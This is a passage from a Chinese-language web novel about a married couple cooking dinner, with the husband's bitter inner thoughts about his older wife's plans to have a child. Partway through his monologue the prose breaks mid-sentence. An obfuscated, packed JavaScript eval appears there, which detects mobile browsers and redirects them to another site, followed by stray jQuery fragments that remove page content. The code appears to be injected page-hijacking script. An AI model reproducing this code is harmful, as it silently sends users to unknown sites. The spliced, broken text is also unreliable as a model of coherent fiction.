阿米娜塔抱怨道：「你說米飯簡單，哪裡簡單了？這麼多步驟，還要算水、抓米、搖量杯，我都快煮出怒氣來了。」


    帕爾克笑了，雙手抱胸靠在冰箱旁邊，「除了用量杯以外，其實沒有哪一步需要特別精準。甚至量杯容量也不需要換算，有多少米就加多少水，一比一就行。是妳自己把它想得複雜了。」


    阿米娜塔看他一眼，忽然問：「那麼，里姆·楊格-蘇克煮米飯也是這樣嗎？」


    帕爾克聽見自己母親的姓名，眼神立刻冷了幾分，語氣也隨之平板：「里姆·楊格-蘇克是用眼睛看就知道該放多少水。我沒有那種本事。」


    帕爾克說這句話時，眼神直視著電鍋表面那道冷光閃爍的藍色光點，語氣毫無波動，像是宣布某項不容置疑的自然法則。


    阿米娜塔沒有立刻回話，只是低頭擦拭剛才弄濕的流理臺，沉默地將那句話收進心底。


    「那麼，下一道呢？」阿米娜塔終於開口，語調轉為平靜而務實。


    「先不要炒雜菜，太複雜了。」帕爾克回頭看了她一眼，「我們從簡單的開始，炒櫛瓜就好。」


    「聽起來太容易了。」阿米娜塔不屑地挑了挑眉。


    「妳做做看就知道。」帕爾克說。


    阿米娜塔從冰箱裡拿出兩條櫛瓜，表皮帶著些許細紋與水氣，像剛從山區農田中摘下來的一樣新鮮。她洗了手，又再次用毛巾擦乾手掌，然後開水輕沖，反覆用指腹搓洗櫛瓜表皮上的細沙與微小的毛刺。


    「底部要切掉八分之一吋，這段不能吃。」帕爾克在旁邊指導，站得略遠些，像是避開主控權的距離，但眼神緊盯她的每一步。


    「為什麼不切掉頭？」阿米娜塔把櫛瓜放上砧板，手中握著菜刀卻遲遲不動。


    「因為妳切掉頭，就沒辦法完整切瓜了。那是穩定支點，拿來固定用的。」帕爾克解釋道。


    「我記住了。」阿米娜塔點點頭。


    她切掉兩條櫛瓜的尾端，留下頭部完整。接著，帕爾克從抽屜裡拿出一台透明塑膠外殼、以手搖操作的旋轉式切菜器。


    「先把櫛瓜放進去，立起來。然後我們先秤重量。」帕爾克指著旁邊的電子秤說。


    阿米娜塔照做，把處理過的櫛瓜放上秤面，數字跳動後穩定在「14.8盎司」。


    「大約十五盎司，算是兩人份。」帕爾克說。


    阿米娜塔將櫛瓜一根根插入切菜器的圓筒中，蓋上蓋子，開始轉動把手，機構內的刀片快速旋轉，發出細細的切割聲。


    搖了三圈，她停下來打開上蓋，一堆均勻的櫛瓜片已堆在收納槽中，柔綠的瓜皮圍繞著乳白色的瓜肉，切口平整。


    「差不多了。」帕爾克說，「那個瓜頭拿出來，丟掉吧。」


    阿米娜塔從筒內拿出剩餘不能切的瓜頭，走到廚房垃圾桶旁，毫不猶豫地丟進去。


    「然後馬上把切菜器洗乾淨，這個不能等。」帕爾克提醒道。


    「這麼急？」阿米娜塔皺眉。


    「妳等著，菜渣會黏在裡面，乾掉了超難洗。」帕爾克說。


    阿米娜塔沒再說什麼，默默地拆解切菜器，拆成幾個零件，一塊塊沖水、刷洗、擦乾。她的手動作俐落，眼神中透出某種不甘於被支配的倔強。


    洗好後，她回到爐邊，開火預熱鍋子。帕爾克站在一旁，遞給她一罐玻璃瓶裝的油，並拿出預先配好的調味料——這些調味料的使用完全仿照一種熟悉但不被指名的味覺傳統：芝麻油、蒜末、鹽與醬油的比例嚴謹，口味偏鹹偏香，帶一點點辣。


    「油倒一湯匙，半盎司的那種。」帕爾克提醒道。


    阿米娜塔從抽屜裡拿出標示「二分之一盎司」的湯匙，小心量出芝麻油倒入熱鍋，香氣立刻竄出。等油稍熱，她將櫛瓜片倒進鍋裡，火聲滋滋作響。


    「快翻，這種菜熟得快。」帕爾克眼神敏銳地說。


    阿米娜塔立即開始用鍋鏟翻炒，手腕有點生疏但不至於遲緩。炒到色澤稍微透明時，帕爾克提醒道：「鹽，四分之一湯匙；蒜末，兩茶匙；醬油半湯匙。」


    阿米娜塔照著操作，將三種調味料均勻撒入鍋中，火光反射在她額頭上的微汗上。鍋中氣味濃郁，鹹香與芝麻油交織出讓人食指大動的香氣。


    「現在沒有時間標準，要靠眼睛看。」帕爾克靠近幾步，盯著鍋中菜色的變化說。


    幾十秒後，他點了點頭：「熟了，火關掉，馬上裝出來，不能留在鍋裡。」


    「為什麼這麼急？」阿米娜塔問。


    「瓦斯爐雖然熄了，但鍋還是熱的。不立刻裝出來，菜會繼續加熱，會糊掉。」帕爾克解釋道。


    阿米娜塔聽話地馬上將炒好的櫛瓜倒進一旁白色的陶瓷盤中，鍋鏟刮動鍋底的聲音與熱氣混合，瞬間一切靜止，只剩香味瀰漫在廚房裡。


    帕爾克拿起筷子夾了一片嚐了嚐，點頭說：「還可以。」


    「只是還可以？」阿米娜塔反問。


    「第一次炒，這樣就不錯了。」帕爾克說。


    不久，電鍋「啪」地一聲跳起來，預示米飯也已完成。飯香混著菜香，整個廚房充滿溫暖飽足的氣息。


    阿米娜塔坐下來，一口飯、一口菜，咀嚼幾口後忽然說：「其實……這味道比我想像中還要香耶。」


    帕爾克將湯匙在碗裡輕輕敲了敲，語氣輕描淡寫：「心理作用吧。妳今天上了一整天班，下班後又自己炒菜，又累又餓，吃東西當然覺得香。實際上是妳的大腦在放大味覺而已。」


    「哼……也許你說得對。不過我還是覺得香。」阿米娜塔說。


    她沉默了一會兒，接著又說：「上班已經夠累了，回家做這些事也不輕鬆。」


    「這是妳自己選的。」帕爾克面無表情地回道。


    帕爾克沒有回嘴。他低下頭，繼續吃飯，但腦袋卻早已掀起暗潮：


    ——雅布奇·費爾斯特·希克維拉尼，****的！


    這人寫了本邪書，還到處演講辦講座，說什麼「生命的後半場也可以創造奇蹟」，害自己的老婆也中邪一樣跟風。四十七歲了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691819|132887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，說什麼「要在五十歲前完成懷孕」，搞什麼鬼？我二十歲，老婆四十七歲，孩子生出來的時候，一邊是年近五十的高齡產婦，一邊是剛成年沒多久的父親。孩子長到三十歲時，我五十，老婆七十七……這叫什麼家庭結構？祖孫三代嗎？


    我收入低、資源少，早就做好當個負責煮飯掃地的老公的心理準備了，結果現在倒好，老婆既要幫忙存錢，又要接手家務，還要面對高齡產婦可能出現的所有風險……


    帕爾克內心一陣咆哮，但什麼都沒說。他看了看阿米娜塔，她還是坐得那麼穩，眉眼間有疲憊，但更多的是那種不可動搖的自信。


    他默默夾了一片櫛瓜，放進嘴裡，咀嚼。然後想了想，又添了一匙飯。


    ——這日子，大概就是這樣過下去了。


    飯後，帕爾克從椅子上站起來，「我來洗碗吧，今天妳真的太累了。」


    他語氣雖然平靜，但手指關節緊繃，眼角微微向下垂，帶著一種壓抑的心疼。他看了一眼阿米娜塔，對方坐在餐桌旁，雙手交叉放在胸前，眼神仍盯著剛才盛菜的陶瓷盤，似乎在想些什麼。


    「坐下。」阿米娜塔低聲說，語氣簡短、肯定，沒有任何回旋餘地。


    帕爾克一怔，眼神閃爍幾下：「可是——」


    「我說，坐下。」阿米娜塔眼神銳利，卻沒有怒意，那是一種強烈卻理性的堅持。


    他只好乖乖回到位子上，看著她將盤子一一收拾進水槽，開水、擠洗碗精，手法乾脆熟練。她的動作沒有任何拖泥帶水，彷彿即便再累，也絕不容許自己顯得遲疑或脆弱。


    然而帕爾克卻忍不住再度多看她幾眼。


    這幾天她變了——他這麼想。不是哪裡具體地改變，而是一種整體的氣息。她的肩膀彷彿更重了，眼下似乎有些淡淡的陰影，走路的時候重心沒以前那麼穩……他想說點什麼，卻又開不了口。嘴唇微微張開，又合上。最終，只能靜靜坐著，看她背對自己忙碌的身影，心頭微微發酸。


    但實際上，這一切都只是帕爾克的心理投射而已。


    阿米娜塔的生活確實變得忙碌。除了需要加班賺錢之外，家中又開始料理更多晚餐、清潔與洗衣的事務，這些的確是她近幾個以前不接觸的事。她有些疲憊，這是事實，但還遠遠不到「憔悴」或「撐不住」的程度。


    至於那雙被帕爾克形容為「看起來浮腫的眼睛」，實際上只是因為廚房的燈泡偏黃、角度不佳，加上今天她用了比較厚的防曬乳。走路的重心也沒有變，她的步伐一如往常穩健，只是帕爾克近來情緒緊張、過勞導致焦慮，才會把一切放大。所有的「她變了」，其實只是他自己太疲憊，反而過度敏感所造成的錯覺。


    帕爾克沒病，他身體健康，血壓正常，最近的年度健檢也沒出問題。但他從小就性格內向、敏感脆弱，現在工作強度高、睡眠又不足，就容易把自己的疲倦投射到愛的人身上。他不敢承認自己快撐不下去，也不願在強勢的妻子面前顯出脆弱，只好下意識將「崩潰的邊緣」這一套劇碼，套在她身上。